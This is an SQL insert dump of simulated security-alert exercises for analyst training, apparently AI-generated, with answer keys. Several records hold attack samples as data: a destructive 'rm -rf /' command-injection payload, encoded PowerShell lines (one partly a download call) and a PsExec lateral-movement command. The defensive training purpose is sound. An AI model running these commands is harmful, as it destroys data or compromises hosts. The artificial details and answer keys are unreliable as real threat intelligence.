(715, 'Malicious File Execution Detected', 'high', 'CrowdStrike', 'A suspicious process was executed on the host, potentially linked to APT41 activity. The process resembles known malware used for data exfiltration.', 'Malware', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T10:45:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.25\",\"dst_ip\":\"203.0.113.45\",\"username\":\"jdoe\",\"hostname\":\"host-001\",\"command_line\":\"powershell.exe -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0AZQBuAGMAbwBkAGUAYwBvAG0AbQBhAG4AZAAgAC0AZQBuAGMAbwBkAGUAZABiAHkAdABlAHMAPQAiAFsAMgAsADIANgAsADIAOAAsADMAQgAsADQALAAxADgALAAxADcALAAxADkALAAyADAALAAzADkALAAxADkALAAyADAALAA5ADUALAA5ADUALAA5ADMAIgBdAA==\",\"file_hash\":\"3fa4e4bd6a8f7a8c5b2aabc1d7b9f4d2\"}', '2026-01-11 07:59:37', '2026-01-11 15:07:13', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal network address\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"3fa4e4bd6a8f7a8c5b2aabc1d7b9f4d2\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with APT41 malware\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"powershell.exe -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0AZQBuAGMAbwBkAGUAYwBvAG0AbQBhAG4AZAAgAC0AZQBuAGMAbwBkAGUAZABiAHkAdABlAHMAPQAiAFsAMgAsADIANgAsADIAOAAsADMAQgAsADQALAAxADgALAAxADcALAAxADkALAAyADAALAAzADkALAAxADkALAAyADAALAA5ADUALAA5ADUALAA5ADMAIgBdAA==\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Encoded command indicative of malicious activity\"}}],\"expected_actions\":[\"block_hash\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The decoded PowerShell command and the file hash are linked to known APT41 malware, indicating a true positive.\"}', 'Intermediate', 'EDR', 5, 1, 'OT_ICS'),
(716, 'Suspicious Login Attempt Detected from Foreign IP', 'medium', 'SIEM', 'Multiple failed login attempts detected from a suspicious IP address. This could indicate a brute force attack targeting user credentials.', 'Brute Force', 'T1110', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T09:30:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"198.51.100.23\",\"username\":\"asmith\",\"hostname\":\"host-002\",\"failed_attempts\":15}', '2026-01-10 14:22:49', '2026-01-11 15:07:13', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for brute force attacks\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"asmith\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Valid internal user account\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The multiple failed login attempts from a known malicious IP address confirm a brute force attack.\"}', 'Intermediate', 'SIEM', 5, 1, 'OT_ICS'),
(717, 'Phishing Email with Malicious URL Detected', 'high', 'Proofpoint', 'A phishing email was received with a URL designed to harvest credentials. The email mimics a trusted service to lure the user.', 'Phishing', 'T1566', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T11:00:00Z\",\"event_type\":\"email_received\",\"src_ip\":\"203.0.113.20\",\"email_sender\":\"no-reply@trustedservice.com\",\"username\":\"mjane\",\"hostname\":\"host-003\",\"url\":\"http://malicious-site.com/login\"}', '2026-01-09 19:07:59', '2026-01-11 15:07:13', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"suspicious\",\"details\":\"IP associated with phishing activity\"}},{\"id\":\"artifact_2\",\"type\":\"email\",\"value\":\"no-reply@trustedservice.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Email appears to mimic a trusted domain\"}},{\"id\":\"artifact_3\",\"type\":\"url\",\"value\":\"http://malicious-site.com/login\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"URL is flagged as a credential harvesting site\"}}],\"expected_actions\":[\"block_url\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The malicious URL in the phishing email is confirmed to be used for credential harvesting, indicating a true positive.\"}', 'Intermediate', 'SIEM', 5, 1, 'OT_ICS'),
(718, 'False Positive Alert: Unusual Internal Traffic', 'low', 'Firewall', 'Detected unusual traffic patterns between internal hosts. Further analysis indicates this is benign activity related to scheduled maintenance.', 'Network Traffic Anomaly', 'T1071', 0, 'New', NULL, '{\"timestamp\":\"2026-01-11T08:15:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"10.0.0.5\",\"dst_ip\":\"10.0.0.8\",\"username\":\"n/a\",\"hostname\":\"n/a\",\"request_body\":\"n/a\"}', '2026-01-10 22:11:35', '2026-01-11 15:07:13', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal network address\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.8\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal network address\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"network_traffic\",\"analysis_notes\":\"The traffic is consistent with scheduled internal maintenance tasks, confirming a false positive.\"}', 'Intermediate', 'NDR', 5, 1, 'OT_ICS'),
(719, 'APT29 Lateral Movement Detected via PsExec', 'critical', 'CrowdStrike', 'A potential APT29 operation has been detected using PsExec to move laterally within the network. Internal IP communication suggests compromised credentials.', 'Lateral Movement', 'T1077', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T03:14:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.21\",\"dst_ip\":\"10.0.0.34\",\"username\":\"jdoe\",\"hostname\":\"FINANCE-01\",\"command_line\":\"PsExec.exe \\\\\\\\10.0.0.34 -u jdoe -p password cmd.exe\"}', '2026-01-10 01:17:50', '2026-01-11 15:07:32', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.21\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address used in lateral movement\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.34\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Target internal IP address for lateral movement\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Database\",\"verdict\":\"internal\",\"details\":\"Legitimate internal user account potentially compromised\"}},{\"id\":\"artifact_4\",\"type\":\"command\",\"value\":\"PsExec.exe \\\\\\\\10.0.0.34 -u jdoe -p password cmd.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"PsExec tool commonly used for lateral movement\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"PsExec usage between internal machines indicates possible lateral movement by APT29.\"}', 'Advanced', 'EDR', 7, 1, 'OT_ICS'),
(720, 'Spear-Phishing Email with Malicious URL', 'high', 'Proofpoint', 'An email from a suspicious sender was detected containing a malicious URL likely used for credential harvesting.', 'Phishing', 'T1566', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T08:25:45Z\",\"event_type\":\"email_received\",\"src_ip\":\"203.0.113.85\",\"dst_ip\":\"192.168.1.45\",\"username\":\"jane.smith\",\"hostname\":\"LAPTOP-04\",\"email_sender\":\"support@secure-mail.com\",\"url\":\"http://malicious-website.com/login\"}', '2026-01-11 06:08:40', '2026-01-11 15:07:32', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.85\",\"is_critical\":false,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP reported 12 times for suspicious activity\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://malicious-website.com/login\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL flagged for phishing credential harvest\"}},{\"id\":\"artifact_3\",\"type\":\"email\",\"value\":\"support@secure-mail.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Email domain used for spoofing legitimate services\"}}],\"expected_actions\":[\"block_url\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The email contains a known phishing URL attempting to mimic legitimate services.\"}', 'Advanced', 'SIEM', 7, 1, 'OT_ICS'),
(721, 'Encoded PowerShell Command Execution Detected', 'high', 'Wazuh', 'An encoded PowerShell command was detected on a user machine, indicating possible fileless malware activity.', 'Malware', 'T1059.001', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T15:42:30Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.50\",\"dst_ip\":\"\",\"username\":\"michael.brown\",\"hostname\":\"DESKTOP-07\",\"command_line\":\"powershell.exe -enc aW1wb3J0LXdpbiBtd2lzO3N0YXJ0LWpvYiB3bWk7\"}', '2026-01-10 07:11:45', '2026-01-11 15:07:32', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP potentially executing fileless malware\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"powershell.exe -enc aW1wb3J0LXdpbiBtd2lzO3N0YXJ0LWpvYiB3bWk7\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Encoded command associated with malware delivery\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\",\"block_hash\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The use of encoded PowerShell commands is indicative of fileless malware techniques often used by APT groups.\"}', 'Advanced', 'EDR', 7, 1, 'OT_ICS'),
(722, 'False Positive: Anomalous Login Activity', 'medium', 'Splunk', 'Multiple failed login attempts detected from a foreign IP address. Investigation reveals this is a legitimate user traveling.', 'Credential Attack', 'T1110', 0, 'New', NULL, '{\"timestamp\":\"2026-01-11T13:05:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"104.28.0.34\",\"dst_ip\":\"10.0.0.12\",\"username\":\"john.doe\",\"hostname\":\"SERVER-02\",\"failed_attempts\":8}', '2026-01-10 00:28:18', '2026-01-11 15:07:32', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"104.28.0.34\",\"is_critical\":false,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"clean\",\"details\":\"IP not associated with malicious activity, identified as part of legitimate travel\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"john.doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Database\",\"verdict\":\"internal\",\"details\":\"User confirmed to be on business trip\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"User was traveling, resulting in login attempts from an unusual location. No malicious intent detected.\"}', 'Advanced', 'SIEM', 7, 1, 'TECH'),
(723, 'APT41 Spear-Phishing Attack Detected via Malicious Email Link', 'critical', 'Proofpoint', 'A spear-phishing email containing a malicious link was detected targeting a high-level executive. The email was crafted to appear as a legitimate communication from a trusted partner.', 'Phishing', 'T1566', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T08:15:23Z\",\"event_type\":\"email_received\",\"src_ip\":\"203.0.113.112\",\"dst_ip\":\"192.168.1.105\",\"username\":\"jdoe\",\"hostname\":\"CORP-LAPTOP-12\",\"email_sender\":\"ceo@trustedpartner.com\",\"url\":\"http://malicious-link.com/verify\",\"subject\":\"Urgent: Verify Your Account\"}', '2026-01-10 09:08:55', '2026-01-11 15:08:08', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.112\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 1024 times for phishing and spam activities\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://malicious-link.com/verify\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL associated with phishing campaigns\"}},{\"id\":\"artifact_3\",\"type\":\"email\",\"value\":\"ceo@trustedpartner.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Spoofed domain detected\"}}],\"expected_actions\":[\"block_ip\",\"block_url\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The alert is a true positive as the email contained a malicious link that was confirmed to be part of a phishing campaign.\"}', 'Expert', 'NDR', 9, 1, 'GOVERNMENT'),
(724, 'Lazarus Group Fileless Malware Execution Detected', 'high', 'CrowdStrike', 'A fileless malware was executed using PowerShell obfuscation techniques. The execution was traced back to a known Lazarus Group C2 server.', 'Malware', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T11:37:45Z\",\"event_type\":\"process_execution\",\"src_ip\":\"198.51.100.47\",\"dst_ip\":\"192.168.1.45\",\"username\":\"admin\",\"hostname\":\"SERVER-01\",\"command_line\":\"powershell -enc WwBTAFkAUwB0AGUAbQAuAE4AZQBUAC4AVwBlAGIAQwBsAGkAZQBuAHQAXQAuAEQAbwB3AG4AbABvAGEAZABTAHIAdABhAG0AIAA=\",\"file_hash\":\"4c2f5e0b9a3b4f1f8c37a3f9f2a4b1d0\"}', '2026-01-10 02:51:53', '2026-01-11 15:08:08', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.47\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Associated with Lazarus Group C2 infrastructure\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"powershell -enc WwBTAFkAUwB0AGUAbQAuAE4AZQBUAC4AVwBlAGIAQwBsAGkAZQBuAHQAXQAuAEQAbwB3AG4AbABvAGEAZABTAHIAdABhAG0AIAA=\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Detected obfuscation technique used by APT actors\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"4c2f5e0b9a3b4f1f8c37a3f9f2a4b1d0\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"suspicious\",\"details\":\"Hash seen in recent fileless malware campaigns\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The use of PowerShell obfuscation and the link to a known Lazarus C2 server confirms this as a true positive.\"}', 'Expert', 'EDR', 9, 1, 'OT_ICS'),
(725, 'Cozy Bear Command Injection via Web Request', 'critical', 'Wazuh', 'A command injection attempt was detected via a vulnerable web application endpoint, originating from a Cozy Bear associated IP.', 'Web Attack', 'T1190', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T14:02:59Z\",\"event_type\":\"web_request\",\"src_ip\":\"203.0.113.55\",\"dst_ip\":\"192.168.1.200\",\"username\":\"webapp\",\"hostname\":\"WEB-SERVER-03\",\"request_body\":\"id=1; rm -rf /\",\"url\":\"http://victim-site.com/update\"}', '2026-01-11 02:15:21', '2026-01-11 15:08:08', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.55\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP linked to multiple Cozy Bear related attacks\"}},{\"id\":\"artifact_2\",\"type\":\"payload\",\"value\":\"id=1; rm -rf /\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Command injection attempt detected\"}},{\"id\":\"artifact_3\",\"type\":\"url\",\"value\":\"http://victim-site.com/update\",\"is_critical\":false,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"suspicious\",\"details\":\"URL targeted in previous Cozy Bear campaigns\"}}],\"expected_actions\":[\"block_ip\",\"patch_vulnerability\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"web_attack\",\"analysis_notes\":\"The command injection payload and known Cozy Bear IP confirm this as a true positive.\"}', 'Expert', 'EDR', 9, 1, 'OT_ICS'),
(726, 'False Positive: Legitimate Network Activity Misidentified as Brute Force', 'medium', 'Splunk', 'Multiple login attempts were detected from an internal network IP address. The activity was later confirmed to be a legitimate script testing user access.', 'Credential Attack', 'T1110', 0, 'New', NULL, '{\"timestamp\":\"2026-01-11T09:50:12Z\",\"event_type\":\"login_failure\",\"src_ip\":\"10.0.0.15\",\"dst_ip\":\"192.168.1.30\",\"username\":\"testuser\",\"hostname\":\"AUTH-SERVER\",\"failed_attempts\":15}', '2026-01-10 01:14:37', '2026-01-11 15:08:08', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address used for legitimate script execution\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"testuser\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Review\",\"verdict\":\"clean\",\"details\":\"User account involved in authorized testing\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The alert was a false positive as the activity was part of a legitimate internal testing process.\"}', 'Expert', 'SIEM', 9, 1, 'OT_ICS');
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`) VALUES
(727, 'Phishing Email Detected with Malicious URL', 'high', 'Proofpoint', 'A phishing email was detected attempting to harvest credentials using a malicious URL disguised as an Office365 login page.', 'Phishing', 'T1566', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T09:15:23Z\",\"event_type\":\"email_received\",\"src_ip\":\"192.168.1.15\",\"dst_ip\":\"10.0.0.5\",\"username\":\"jdoe@examplecorp.com\",\"hostname\":\"mailserver.examplecorp.com\",\"email_sender\":\"support@off1ce365-login.com\",\"url\":\"http://off1ce365-login.com/login\",\"request_body\":\"\",\"command_line\":\"\"}', '2026-01-11 05:36:16', '2026-01-11 15:08:31', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"support@off1ce365-login.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Domain registered 3 days ago and associated with phishing campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://off1ce365-login.com/login\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL hosting phishing page mimicking Office365 login\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal email server IP\"}}],\"expected_actions\":[\"block_url\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The email contains a known phishing URL and a suspicious sender domain indicating a phishing attempt.\"}', 'Novice', 'SIEM', 1, 1, 'GOVERNMENT'),
(728, 'Brute Force Attack Detected from Known Malicious IP', 'critical', 'Wazuh', 'Multiple failed login attempts detected from a foreign IP, indicating a brute force attack targeting the internal network.', 'Brute Force', 'T1110', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T11:32:13Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"10.0.0.10\",\"username\":\"administrator\",\"hostname\":\"server01.examplecorp.com\",\"request_body\":\"\",\"command_line\":\"\",\"failed_attempts\":37}', '2026-01-09 18:10:39', '2026-01-11 15:08:31', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 174 times for brute force attacks\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"administrator\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Common administrative account targeted in attacks\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"10.0.0.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal network server\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The attack originated from a known malicious IP with multiple failed login attempts, indicating brute force activity.\"}', 'Novice', 'SIEM', 1, 1, 'OT_ICS'),
(729, 'Malware Detected via Suspicious Process Execution', 'high', 'CrowdStrike', 'A malicious executable was detected running on an endpoint, identified by its known malware hash.', 'Malware', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T14:05:45Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.20\",\"dst_ip\":\"\",\"username\":\"jane.doe\",\"hostname\":\"workstation01.examplecorp.com\",\"request_body\":\"\",\"command_line\":\"C:\\\\malicious_folder\\\\malware.exe\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\"}', '2026-01-11 06:28:28', '2026-01-11 15:08:31', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash detected by 63 antivirus engines\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"C:\\\\malicious_folder\\\\malware.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Executable identified as malware with C2 communication\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"10.0.0.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal workstation IP\"}}],\"expected_actions\":[\"block_hash\",\"isolate_host\",\"collect_forensics\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The file hash is widely recognized as malicious, and the process execution is anomalous for the user.\"}', 'Novice', 'EDR', 1, 1, 'OT_ICS'),
(730, 'Suspicious Email Flagged as False Positive', 'medium', 'Email Gateway', 'An email was flagged as suspicious due to a lookalike domain, but the sender is verified as legitimate.', 'Phishing', 'T1566', 0, 'New', NULL, '{\"timestamp\":\"2026-01-11T16:48:30Z\",\"event_type\":\"email_received\",\"src_ip\":\"192.168.1.100\",\"dst_ip\":\"10.0.0.5\",\"username\":\"john.smith@examplecorp.com\",\"hostname\":\"mailserver.examplecorp.com\",\"email_sender\":\"billing@examp1ecorp.com\",\"url\":\"http://examp1ecorp.com/invoice\",\"request_body\":\"\",\"command_line\":\"\"}', '2026-01-10 08:48:40', '2026-01-11 15:08:31', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"billing@examp1ecorp.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Verified sender; domain used by billing department\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://examp1ecorp.com/invoice\",\"is_critical\":false,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"suspicious\",\"details\":\"Domain resembles legitimate company domain but is legitimate\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal email server IP\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The sender and domain have been verified as legitimate, marking this as a false positive.\"}', 'Novice', 'NDR', 1, 1, 'GOVERNMENT'),
(731, 'Spear Phishing Attempt with Malicious URL Detected', 'high', 'Proofpoint', 'A spear phishing email was detected attempting to lure a user to a malicious website. The email impersonated the CEO and contained a link to a lookalike domain.', 'Phishing', 'T1566', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T09:15:32Z\",\"event_type\":\"email_received\",\"src_ip\":\"198.51.100.23\",\"dst_ip\":\"10.0.0.5\",\"username\":\"j.doe@company.com\",\"hostname\":\"workstation-01\",\"email_sender\":\"ceo@company-secure.com\",\"domain\":\"company-secure.com\",\"url\":\"http://secure-company.com/login\"}', '2026-01-11 08:10:28', '2026-01-11 15:09:04', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"ceo@company-secure.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Domain used in phishing campaigns targeting corporate users.\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://secure-company.com/login\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"URL associated with phishing attacks impersonating company executives.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the recipient\'s workstation.\"}}],\"expected_actions\":[\"reset_credentials\",\"block_url\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The email originated from a known malicious domain impersonating the CEO, and the URL is flagged as malicious.\"}', 'Beginner', 'SIEM', 3, 1, 'GOVERNMENT'),
(732, 'Credential Harvesting via Office365 Phishing Page', 'critical', 'Email Gateway', 'An email was detected redirecting the user to an Office365 lookalike login page to steal credentials. The domain used was not authorized by the organization.', 'Phishing', 'T1566', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T11:42:18Z\",\"event_type\":\"email_received\",\"src_ip\":\"202.54.1.1\",\"dst_ip\":\"10.0.0.12\",\"username\":\"a.smith@company.com\",\"hostname\":\"workstation-02\",\"email_sender\":\"office365@security-alert.com\",\"domain\":\"security-alert.com\",\"url\":\"http://office-login.com/verify\"}', '2026-01-10 11:41:11', '2026-01-11 15:09:04', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"office365@security-alert.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"Email address involved in phishing attempts targeting Office365 users.\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://office-login.com/verify\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"URL identified as phishing site mimicking Office365 login page.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"10.0.0.12\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the recipient\'s workstation.\"}}],\"expected_actions\":[\"reset_credentials\",\"block_url\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The email contains a URL that leads to a phishing page designed to steal Office365 credentials.\"}', 'Beginner', 'SIEM', 3, 1, 'OT_ICS'),
